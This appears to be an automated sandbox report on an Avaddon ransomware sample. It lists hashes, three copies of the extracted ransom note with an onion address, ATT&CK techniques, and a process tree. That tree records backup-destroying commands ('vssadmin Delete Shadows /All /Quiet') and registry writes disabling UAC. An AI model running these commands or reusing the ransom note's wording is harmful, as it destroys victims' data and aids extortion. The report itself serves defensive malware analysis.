cc95a8d100f70d0fbf4af14e852aa108bdb0e36db4054c3f60b3515818a71f46

General

Target

Avaddon Ransomware.exe
Size

719KB
MD5

275e4a63fc63c995b3e0d464919f211b
SHA1

51d85210c2f621ca14d92a8375ee24d62f9d7f44
SHA256

cc95a8d100f70d0fbf4af14e852aa108bdb0e36db4054c3f60b3515818a71f46
SHA512

1723fb4a624859cb49f1d00100a44c5104a8a6ee4685b0e0988fa54f929dc7d70d171034577a17db2e6529d6c19b49d2ba023c4c98e9637f92981a3c1a5c9dac

Score

10^/10

ransomware persistence evasion trojan

Malware Config

Extracted

Path

C:\Users\Admin\Contacts\BOIxz_readme_.txt

Ransom Note

-------=== Your network has been infected! ===------- ***************** DO NOT DELETE THIS FILE UNTIL ALL YOUR DATA HAVE BEEN RECOVERED ***************** All your documents, photos, databases and other important files have been encrypted and have the extension: .bcbDBdACDc You are not able to decrypt it by yourself. But don't worry, we can help you to restore all your files! The only way to restore your files is to buy our special software. Only we can give you this software and only we can restore your files! We have also downloaded a lot of private data from your network. If you do not contact as in a 3 days we will post information about your breach on our public news website and after 7 days the whole downloaded info. You can get more information on our page, which is located in a Tor hidden network. How to get to our page -------------------------------------------------------------------------------- | | 1. Download Tor browser - https://www.torproject.org/ | | 2. Install Tor browser | | 3. Open link in Tor browser - avaddonbotrxmuyl.onion | | 4. Follow the instructions on this page | -------------------------------------------------------------------------------- Your ID: -------------------------------------------------------------------------------- NTc2LUltcDVsVFZYOW9hZ2xFU0JXY0xWU2dlRDNNTVRCVTlxUjFYUjcvNXFDNUtIOEszV1Z0OGRRVWVndnhacGVaZGp5aFdBMTFUZndYYUUwQWM3dnZrZjhoUkkraW4ySnRCN09EWVJ6MHYrRDBLTGp5VjZhOWxxOXZMZ2g1VEtOUWdaZTF0UnptUUFaTjA1TUcrWnhvc0szdzhkQUo4T2JuTWhUNlIrbXZqRVd6aVZBMVlsV1BLQzhqTTJ5SjVlcUd5QWRTU1hsMHJUQlJSUXZPYXJ5UjBqWFR4YUQrSW1TWU1tRjJZZHM1eTZmeCsrRmRsbjhFcWRoV0I0OTE2ZDl1MlpUbjUvV1JQQjA5UE1mNzdlYUc3TFQvQ1NIZjFxdjJ6dk9MRnN6WHdYK1B5MTl1MkI1ZjMrMnR5Z2dwaDJZb2U2RTRxUk1VbGxaakZmdXlZdUNtYTBacUhOUno3R01QRzJIRXJzZWw5NC9iemk0NWtHU0wzTG05Mit4RXNFaFg3SVNnQllHTng3OC91VzEwZlgrRHg1d2NFVmtJWHl4SnZXZnJyaHJmUlBzMHQ4MUdkRG05cG00dUVUdmVXRTFtVlUvQmpiVHRRM083T3J4WUxtVUQybVl0c0hRaDJaWTBobGRJOCszTFQyUVNtTkRyL1VrUUcwYjNTMUVscFYxb3RTT2F4aWJXYXBNK2JIbXgxWXpUdk4vZmZYOTRMc3dkcGVLZk01bDN4eEd5OFRYRGZucVNsdFZLdk55T0l2c3M3UHlwQ3lEcFRqL21SaVlSWndmM1BGNC9LMFowMTFxbmZQbEN5OURmSm1JNkFCVkpJUlJVNkp6UFh4RmxtV0poYXRaeEhBUE1LNkdReGV5cWV0YUIyQkdDbXZ3SC9CbFVtRDB1bHV1OWRnOHdHUnVDaS9mRW9hcmhBQ0l6eDhnRFpkdnA2STFkd1RqY1ZLZ2p0dzl5THRhVEU5UU5BRGJFZnRvTlFxYkw3ZVQrL002VFdkYndkcTJlSStaTjNYdHE2Tjlvd0hOYmlrbzFXT3pBbjNHM3JKTkp1UU1zcTl1aml5OXpyODBjSjlHc1VOU0pNZ0JwbHhCYXc5NXlaR2I0UGs1dVp1biszVC9Cd0ZKWklidmxYWHpSTHpHekdERU53S2x3YzhFa2Y5eGtBVGxybDAxTDlCczFKRlpVcUVOdkpkQkdvdUMzUnFTTUJxem1yMlhFbEJUdzY1NkJxemlGZTJlV2NlRDVPYlBrOFNxMkVJa0EwRExnUWdwQ2h6TTQwKzZSdGhJV0VQL25DODlKUFZvemJXTnR1T085bkxmL1U0RjZFbEpIS01RQ1pTK2VmckNRL1hNQ0dVTVVmcWZIcHVWcmpxQVpqZ3FuVEo5dWFBdFp5K2xCUmZiaTlNWFVJSXM3OXQzTkNsNUFEQys5cnhPR25GS3JFS2dCMVBwVnFzM2tPN2RyWUFrSlcrYnpwWFBiQTZETzlYOCsrNVFyQnU5TDNWWU93aUZsSG1TWFZlaldpUmpQT2VGRTk3OWs0NTZsZ1hlQjUzcXdBL29taWV3S1VWZHM3aHJ4bkNsT2dpVEhpOHZGSUtXSnpNV3FuT29pZU50R1ZCeGZuclp4VFE2VlFSZFN6a3M1WDg5YnRsSEI2MVVHMzFSQ0tPcnFrSzhVTnpKME1mY2tUaW0xbGxDb2VqSE1OZXF2YkZUekNpbGcrSmRLKzdtczNPZVhueVhpRXFaOS9qL3I2M0lGNjZONGs2L1ZBZGNxODN0dXN5WFFhRDk3KytZVVdvK1VYNlV0ZmZkazRJSzR0M2dpaVlVZ25DdFdIbTU1QVdjSG5oaXVsdndxajQ0S1R5QkxIUzBKODJmUkRsY1RpdzhXa1E4L29uUzdXRnYxbmVXbFJaMTY3V2RHZklheklyN0tKYUVOV24wU0dhSWNOTHZMS1VhRW5nK0F1T1A5dFhrTi9zS0hVWGdDTWc0cjU5NS9hZUw2V1lUMjQ4NS96bk9mYXlmeXZwVnpCUFhUbTNVTjJWS0dHeDUvOHpMbzFPeTAyQ0QxV29LMmN3R25XeTd0akx2ZlNhSFg3QjBpTnQwUTM0aFFTa0lReDVIa0k9 -------------------------------------------------------------------------------- * DO NOT TRY TO RECOVER FILES YOURSELF! * DO NOT MODIFY ENCRYPTED FILES! * * * OTHERWISE, YOU MAY LOSE ALL YOUR FILES FOREVER! * * * u81gfw9cvjDccP7v8yAtpxcUokVp0r

URLs

http://avaddonbotrxmuyl.onion

Extracted

Path

C:\Users\Admin\Downloads\BOIxz_readme_.txt

Ransom Note

-------=== Your network has been infected! ===------- ***************** DO NOT DELETE THIS FILE UNTIL ALL YOUR DATA HAVE BEEN RECOVERED ***************** All your documents, photos, databases and other important files have been encrypted and have the extension: .bcbDBdACDc You are not able to decrypt it by yourself. But don't worry, we can help you to restore all your files! The only way to restore your files is to buy our special software. Only we can give you this software and only we can restore your files! We have also downloaded a lot of private data from your network. If you do not contact as in a 3 days we will post information about your breach on our public news website and after 7 days the whole downloaded info. You can get more information on our page, which is located in a Tor hidden network. How to get to our page -------------------------------------------------------------------------------- | | 1. Download Tor browser - https://www.torproject.org/ | | 2. Install Tor browser | | 3. Open link in Tor browser - avaddonbotrxmuyl.onion | | 4. Follow the instructions on this page | -------------------------------------------------------------------------------- Your ID: -------------------------------------------------------------------------------- NTc2LUltcDVsVFZYOW9hZ2xFU0JXY0xWU2dlRDNNTVRCVTlxUjFYUjcvNXFDNUtIOEszV1Z0OGRRVWVndnhacGVaZGp5aFdBMTFUZndYYUUwQWM3dnZrZjhoUkkraW4ySnRCN09EWVJ6MHYrRDBLTGp5VjZhOWxxOXZMZ2g1VEtOUWdaZTF0UnptUUFaTjA1TUcrWnhvc0szdzhkQUo4T2JuTWhUNlIrbXZqRVd6aVZBMVlsV1BLQzhqTTJ5SjVlcUd5QWRTU1hsMHJUQlJSUXZPYXJ5UjBqWFR4YUQrSW1TWU1tRjJZZHM1eTZmeCsrRmRsbjhFcWRoV0I0OTE2ZDl1MlpUbjUvV1JQQjA5UE1mNzdlYUc3TFQvQ1NIZjFxdjJ6dk9MRnN6WHdYK1B5MTl1MkI1ZjMrMnR5Z2dwaDJZb2U2RTRxUk1VbGxaakZmdXlZdUNtYTBacUhOUno3R01QRzJIRXJzZWw5NC9iemk0NWtHU0wzTG05Mit4RXNFaFg3SVNnQllHTng3OC91VzEwZlgrRHg1d2NFVmtJWHl4SnZXZnJyaHJmUlBzMHQ4MUdkRG05cG00dUVUdmVXRTFtVlUvQmpiVHRRM083T3J4WUxtVUQybVl0c0hRaDJaWTBobGRJOCszTFQyUVNtTkRyL1VrUUcwYjNTMUVscFYxb3RTT2F4aWJXYXBNK2JIbXgxWXpUdk4vZmZYOTRMc3dkcGVLZk01bDN4eEd5OFRYRGZucVNsdFZLdk55T0l2c3M3UHlwQ3lEcFRqL21SaVlSWndmM1BGNC9LMFowMTFxbmZQbEN5OURmSm1JNkFCVkpJUlJVNkp6UFh4RmxtV0poYXRaeEhBUE1LNkdReGV5cWV0YUIyQkdDbXZ3SC9CbFVtRDB1bHV1OWRnOHdHUnVDaS9mRW9hcmhBQ0l6eDhnRFpkdnA2STFkd1RqY1ZLZ2p0dzl5THRhVEU5UU5BRGJFZnRvTlFxYkw3ZVQrL002VFdkYndkcTJlSStaTjNYdHE2Tjlvd0hOYmlrbzFXT3pBbjNHM3JKTkp1UU1zcTl1aml5OXpyODBjSjlHc1VOU0pNZ0JwbHhCYXc5NXlaR2I0UGs1dVp1biszVC9Cd0ZKWklidmxYWHpSTHpHekdERU53S2x3YzhFa2Y5eGtBVGxybDAxTDlCczFKRlpVcUVOdkpkQkdvdUMzUnFTTUJxem1yMlhFbEJUdzY1NkJxemlGZTJlV2NlRDVPYlBrOFNxMkVJa0EwRExnUWdwQ2h6TTQwKzZSdGhJV0VQL25DODlKUFZvemJXTnR1T085bkxmL1U0RjZFbEpIS01RQ1pTK2VmckNRL1hNQ0dVTVVmcWZIcHVWcmpxQVpqZ3FuVEo5dWFBdFp5K2xCUmZiaTlNWFVJSXM3OXQzTkNsNUFEQys5cnhPR25GS3JFS2dCMVBwVnFzM2tPN2RyWUFrSlcrYnpwWFBiQTZETzlYOCsrNVFyQnU5TDNWWU93aUZsSG1TWFZlaldpUmpQT2VGRTk3OWs0NTZsZ1hlQjUzcXdBL29taWV3S1VWZHM3aHJ4bkNsT2dpVEhpOHZGSUtXSnpNV3FuT29pZU50R1ZCeGZuclp4VFE2VlFSZFN6a3M1WDg5YnRsSEI2MVVHMzFSQ0tPcnFrSzhVTnpKME1mY2tUaW0xbGxDb2VqSE1OZXF2YkZUekNpbGcrSmRLKzdtczNPZVhueVhpRXFaOS9qL3I2M0lGNjZONGs2L1ZBZGNxODN0dXN5WFFhRDk3KytZVVdvK1VYNlV0ZmZkazRJSzR0M2dpaVlVZ25DdFdIbTU1QVdjSG5oaXVsdndxajQ0S1R5QkxIUzBKODJmUkRsY1RpdzhXa1E4L29uUzdXRnYxbmVXbFJaMTY3V2RHZklheklyN0tKYUVOV24wU0dhSWNOTHZMS1VhRW5nK0F1T1A5dFhrTi9zS0hVWGdDTWc0cjU5NS9hZUw2V1lUMjQ4NS96bk9mYXlmeXZwVnpCUFhUbTNVTjJWS0dHeDUvOHpMbzFPeTAyQ0QxV29LMmN3R25XeTd0akx2ZlNhSFg3QjBpTnQwUTM0aFFTa0lReDVIa0k9 -------------------------------------------------------------------------------- * DO NOT TRY TO RECOVER FILES YOURSELF! * DO NOT MODIFY ENCRYPTED FILES! * * * OTHERWISE, YOU MAY LOSE ALL YOUR FILES FOREVER! * * * l

URLs

http://avaddonbotrxmuyl.onion

Extracted

Path

C:\Users\Admin\Pictures\BOIxz_readme_.txt

Ransom Note

-------=== Your network has been infected! ===------- ***************** DO NOT DELETE THIS FILE UNTIL ALL YOUR DATA HAVE BEEN RECOVERED ***************** All your documents, photos, databases and other important files have been encrypted and have the extension: .bcbDBdACDc You are not able to decrypt it by yourself. But don't worry, we can help you to restore all your files! The only way to restore your files is to buy our special software. Only we can give you this software and only we can restore your files! We have also downloaded a lot of private data from your network. If you do not contact as in a 3 days we will post information about your breach on our public news website and after 7 days the whole downloaded info. You can get more information on our page, which is located in a Tor hidden network. How to get to our page -------------------------------------------------------------------------------- | | 1. Download Tor browser - https://www.torproject.org/ | | 2. Install Tor browser | | 3. Open link in Tor browser - avaddonbotrxmuyl.onion | | 4. Follow the instructions on this page | -------------------------------------------------------------------------------- Your ID: -------------------------------------------------------------------------------- NTc2LUltcDVsVFZYOW9hZ2xFU0JXY0xWU2dlRDNNTVRCVTlxUjFYUjcvNXFDNUtIOEszV1Z0OGRRVWVndnhacGVaZGp5aFdBMTFUZndYYUUwQWM3dnZrZjhoUkkraW4ySnRCN09EWVJ6MHYrRDBLTGp5VjZhOWxxOXZMZ2g1VEtOUWdaZTF0UnptUUFaTjA1TUcrWnhvc0szdzhkQUo4T2JuTWhUNlIrbXZqRVd6aVZBMVlsV1BLQzhqTTJ5SjVlcUd5QWRTU1hsMHJUQlJSUXZPYXJ5UjBqWFR4YUQrSW1TWU1tRjJZZHM1eTZmeCsrRmRsbjhFcWRoV0I0OTE2ZDl1MlpUbjUvV1JQQjA5UE1mNzdlYUc3TFQvQ1NIZjFxdjJ6dk9MRnN6WHdYK1B5MTl1MkI1ZjMrMnR5Z2dwaDJZb2U2RTRxUk1VbGxaakZmdXlZdUNtYTBacUhOUno3R01QRzJIRXJzZWw5NC9iemk0NWtHU0wzTG05Mit4RXNFaFg3SVNnQllHTng3OC91VzEwZlgrRHg1d2NFVmtJWHl4SnZXZnJyaHJmUlBzMHQ4MUdkRG05cG00dUVUdmVXRTFtVlUvQmpiVHRRM083T3J4WUxtVUQybVl0c0hRaDJaWTBobGRJOCszTFQyUVNtTkRyL1VrUUcwYjNTMUVscFYxb3RTT2F4aWJXYXBNK2JIbXgxWXpUdk4vZmZYOTRMc3dkcGVLZk01bDN4eEd5OFRYRGZucVNsdFZLdk55T0l2c3M3UHlwQ3lEcFRqL21SaVlSWndmM1BGNC9LMFowMTFxbmZQbEN5OURmSm1JNkFCVkpJUlJVNkp6UFh4RmxtV0poYXRaeEhBUE1LNkdReGV5cWV0YUIyQkdDbXZ3SC9CbFVtRDB1bHV1OWRnOHdHUnVDaS9mRW9hcmhBQ0l6eDhnRFpkdnA2STFkd1RqY1ZLZ2p0dzl5THRhVEU5UU5BRGJFZnRvTlFxYkw3ZVQrL002VFdkYndkcTJlSStaTjNYdHE2Tjlvd0hOYmlrbzFXT3pBbjNHM3JKTkp1UU1zcTl1aml5OXpyODBjSjlHc1VOU0pNZ0JwbHhCYXc5NXlaR2I0UGs1dVp1biszVC9Cd0ZKWklidmxYWHpSTHpHekdERU53S2x3YzhFa2Y5eGtBVGxybDAxTDlCczFKRlpVcUVOdkpkQkdvdUMzUnFTTUJxem1yMlhFbEJUdzY1NkJxemlGZTJlV2NlRDVPYlBrOFNxMkVJa0EwRExnUWdwQ2h6TTQwKzZSdGhJV0VQL25DODlKUFZvemJXTnR1T085bkxmL1U0RjZFbEpIS01RQ1pTK2VmckNRL1hNQ0dVTVVmcWZIcHVWcmpxQVpqZ3FuVEo5dWFBdFp5K2xCUmZiaTlNWFVJSXM3OXQzTkNsNUFEQys5cnhPR25GS3JFS2dCMVBwVnFzM2tPN2RyWUFrSlcrYnpwWFBiQTZETzlYOCsrNVFyQnU5TDNWWU93aUZsSG1TWFZlaldpUmpQT2VGRTk3OWs0NTZsZ1hlQjUzcXdBL29taWV3S1VWZHM3aHJ4bkNsT2dpVEhpOHZGSUtXSnpNV3FuT29pZU50R1ZCeGZuclp4VFE2VlFSZFN6a3M1WDg5YnRsSEI2MVVHMzFSQ0tPcnFrSzhVTnpKME1mY2tUaW0xbGxDb2VqSE1OZXF2YkZUekNpbGcrSmRLKzdtczNPZVhueVhpRXFaOS9qL3I2M0lGNjZONGs2L1ZBZGNxODN0dXN5WFFhRDk3KytZVVdvK1VYNlV0ZmZkazRJSzR0M2dpaVlVZ25DdFdIbTU1QVdjSG5oaXVsdndxajQ0S1R5QkxIUzBKODJmUkRsY1RpdzhXa1E4L29uUzdXRnYxbmVXbFJaMTY3V2RHZklheklyN0tKYUVOV24wU0dhSWNOTHZMS1VhRW5nK0F1T1A5dFhrTi9zS0hVWGdDTWc0cjU5NS9hZUw2V1lUMjQ4NS96bk9mYXlmeXZwVnpCUFhUbTNVTjJWS0dHeDUvOHpMbzFPeTAyQ0QxV29LMmN3R25XeTd0akx2ZlNhSFg3QjBpTnQwUTM0aFFTa0lReDVIa0k9 -------------------------------------------------------------------------------- * DO NOT TRY TO RECOVER FILES YOURSELF! * DO NOT MODIFY ENCRYPTED FILES! * * * OTHERWISE, YOU MAY LOSE ALL YOUR FILES FOREVER! * * * 7tDtK

URLs

http://avaddonbotrxmuyl.onion

Signatures

UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

Avaddon Ransomware.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\ConfirmResume.tif => C:\Users\Admin\Pictures\ConfirmResume.tif.bcbDBdACDc	Avaddon Ransomware.exe
File renamed	C:\Users\Admin\Pictures\SkipUpdate.png => C:\Users\Admin\Pictures\SkipUpdate.png.bcbDBdACDc	Avaddon Ransomware.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

Avaddon Ransomware.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Avaddon Ransomware.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

Avaddon Ransomware.exe

description ioc process

File opened for modification \??\Z:\$RECYCLE.BIN\S-1-5-21-1131729243-447456001-3632642222-1000\desktop.ini Avaddon Ransomware.exe
Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

description	ioc	process
File opened for modification	\??\Z:\$RECYCLE.BIN\S-1-5-21-1131729243-447456001-3632642222-1000\desktop.ini	Avaddon Ransomware.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Interacts with shadow copies 2 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exe

pid process

1820 vssadmin.exe
2004 vssadmin.exe
512 vssadmin.exe

pid	process
1820	vssadmin.exe
2004	vssadmin.exe
512	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 739 IoCs

Processes:

Avaddon Ransomware.exe

pid	process
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe
1344	Avaddon Ransomware.exe

Suspicious use of AdjustPrivilegeToken 63 IoCs

Processes:

wmic.exevssvc.exewmic.exewmic.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1704	wmic.exe
Token: SeSecurityPrivilege	1704	wmic.exe
Token: SeTakeOwnershipPrivilege	1704	wmic.exe
Token: SeLoadDriverPrivilege	1704	wmic.exe
Token: SeSystemProfilePrivilege	1704	wmic.exe
Token: SeSystemtimePrivilege	1704	wmic.exe
Token: SeProfSingleProcessPrivilege	1704	wmic.exe
Token: SeIncBasePriorityPrivilege	1704	wmic.exe
Token: SeCreatePagefilePrivilege	1704	wmic.exe
Token: SeBackupPrivilege	1704	wmic.exe
Token: SeRestorePrivilege	1704	wmic.exe
Token: SeShutdownPrivilege	1704	wmic.exe
Token: SeDebugPrivilege	1704	wmic.exe
Token: SeSystemEnvironmentPrivilege	1704	wmic.exe
Token: SeRemoteShutdownPrivilege	1704	wmic.exe
Token: SeUndockPrivilege	1704	wmic.exe
Token: SeManageVolumePrivilege	1704	wmic.exe
Token: 33	1704	wmic.exe
Token: 34	1704	wmic.exe
Token: 35	1704	wmic.exe
Token: SeBackupPrivilege	1620	vssvc.exe
Token: SeRestorePrivilege	1620	vssvc.exe
Token: SeAuditPrivilege	1620	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1892	wmic.exe
Token: SeSecurityPrivilege	1892	wmic.exe
Token: SeTakeOwnershipPrivilege	1892	wmic.exe
Token: SeLoadDriverPrivilege	1892	wmic.exe
Token: SeSystemProfilePrivilege	1892	wmic.exe
Token: SeSystemtimePrivilege	1892	wmic.exe
Token: SeProfSingleProcessPrivilege	1892	wmic.exe
Token: SeIncBasePriorityPrivilege	1892	wmic.exe
Token: SeCreatePagefilePrivilege	1892	wmic.exe
Token: SeBackupPrivilege	1892	wmic.exe
Token: SeRestorePrivilege	1892	wmic.exe
Token: SeShutdownPrivilege	1892	wmic.exe
Token: SeDebugPrivilege	1892	wmic.exe
Token: SeSystemEnvironmentPrivilege	1892	wmic.exe
Token: SeRemoteShutdownPrivilege	1892	wmic.exe
Token: SeUndockPrivilege	1892	wmic.exe
Token: SeManageVolumePrivilege	1892	wmic.exe
Token: 33	1892	wmic.exe
Token: 34	1892	wmic.exe
Token: 35	1892	wmic.exe
Token: SeIncreaseQuotaPrivilege	108	wmic.exe
Token: SeSecurityPrivilege	108	wmic.exe
Token: SeTakeOwnershipPrivilege	108	wmic.exe
Token: SeLoadDriverPrivilege	108	wmic.exe
Token: SeSystemProfilePrivilege	108	wmic.exe
Token: SeSystemtimePrivilege	108	wmic.exe
Token: SeProfSingleProcessPrivilege	108	wmic.exe
Token: SeIncBasePriorityPrivilege	108	wmic.exe
Token: SeCreatePagefilePrivilege	108	wmic.exe
Token: SeBackupPrivilege	108	wmic.exe
Token: SeRestorePrivilege	108	wmic.exe
Token: SeShutdownPrivilege	108	wmic.exe
Token: SeDebugPrivilege	108	wmic.exe
Token: SeSystemEnvironmentPrivilege	108	wmic.exe
Token: SeRemoteShutdownPrivilege	108	wmic.exe
Token: SeUndockPrivilege	108	wmic.exe
Token: SeManageVolumePrivilege	108	wmic.exe
Token: 33	108	wmic.exe
Token: 34	108	wmic.exe
Token: 35	108	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

Avaddon Ransomware.exe

description	pid	process	target process
PID 1344 wrote to memory of 1704	1344	Avaddon Ransomware.exe	wmic.exe
PID 1344 wrote to memory of 1704	1344	Avaddon Ransomware.exe	wmic.exe
PID 1344 wrote to memory of 1704	1344	Avaddon Ransomware.exe	wmic.exe
PID 1344 wrote to memory of 1704	1344	Avaddon Ransomware.exe	wmic.exe
PID 1344 wrote to memory of 1820	1344	Avaddon Ransomware.exe	vssadmin.exe
PID 1344 wrote to memory of 1820	1344	Avaddon Ransomware.exe	vssadmin.exe
PID 1344 wrote to memory of 1820	1344	Avaddon Ransomware.exe	vssadmin.exe
PID 1344 wrote to memory of 1820	1344	Avaddon Ransomware.exe	vssadmin.exe
PID 1344 wrote to memory of 1892	1344	Avaddon Ransomware.exe	wmic.exe
PID 1344 wrote to memory of 1892	1344	Avaddon Ransomware.exe	wmic.exe
PID 1344 wrote to memory of 1892	1344	Avaddon Ransomware.exe	wmic.exe
PID 1344 wrote to memory of 1892	1344	Avaddon Ransomware.exe	wmic.exe
PID 1344 wrote to memory of 2004	1344	Avaddon Ransomware.exe	vssadmin.exe
PID 1344 wrote to memory of 2004	1344	Avaddon Ransomware.exe	vssadmin.exe
PID 1344 wrote to memory of 2004	1344	Avaddon Ransomware.exe	vssadmin.exe
PID 1344 wrote to memory of 2004	1344	Avaddon Ransomware.exe	vssadmin.exe
PID 1344 wrote to memory of 108	1344	Avaddon Ransomware.exe	wmic.exe
PID 1344 wrote to memory of 108	1344	Avaddon Ransomware.exe	wmic.exe
PID 1344 wrote to memory of 108	1344	Avaddon Ransomware.exe	wmic.exe
PID 1344 wrote to memory of 108	1344	Avaddon Ransomware.exe	wmic.exe
PID 1344 wrote to memory of 512	1344	Avaddon Ransomware.exe	vssadmin.exe
PID 1344 wrote to memory of 512	1344	Avaddon Ransomware.exe	vssadmin.exe
PID 1344 wrote to memory of 512	1344	Avaddon Ransomware.exe	vssadmin.exe
PID 1344 wrote to memory of 512	1344	Avaddon Ransomware.exe	vssadmin.exe

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

Processes:

Avaddon Ransomware.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Avaddon Ransomware.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Avaddon Ransomware.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	Avaddon Ransomware.exe

C:\Users\Admin\AppData\Local\Temp\Avaddon Ransomware.exe
"C:\Users\Admin\AppData\Local\Temp\Avaddon Ransomware.exe"
1⤵
- Modifies extensions of user files
- Checks whether UAC is enabled
- Drops desktop.ini file(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1344
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1704
- C:\Windows\SysWOW64\vssadmin.exe
  vssadmin.exe Delete Shadows /All /Quiet
  2⤵
  - Interacts with shadow copies
  PID:1820
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1892
- C:\Windows\SysWOW64\vssadmin.exe
  vssadmin.exe Delete Shadows /All /Quiet
  2⤵
  - Interacts with shadow copies
  PID:2004
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:108
- C:\Windows\SysWOW64\vssadmin.exe
  vssadmin.exe Delete Shadows /All /Quiet
  2⤵
  - Interacts with shadow copies
  PID:512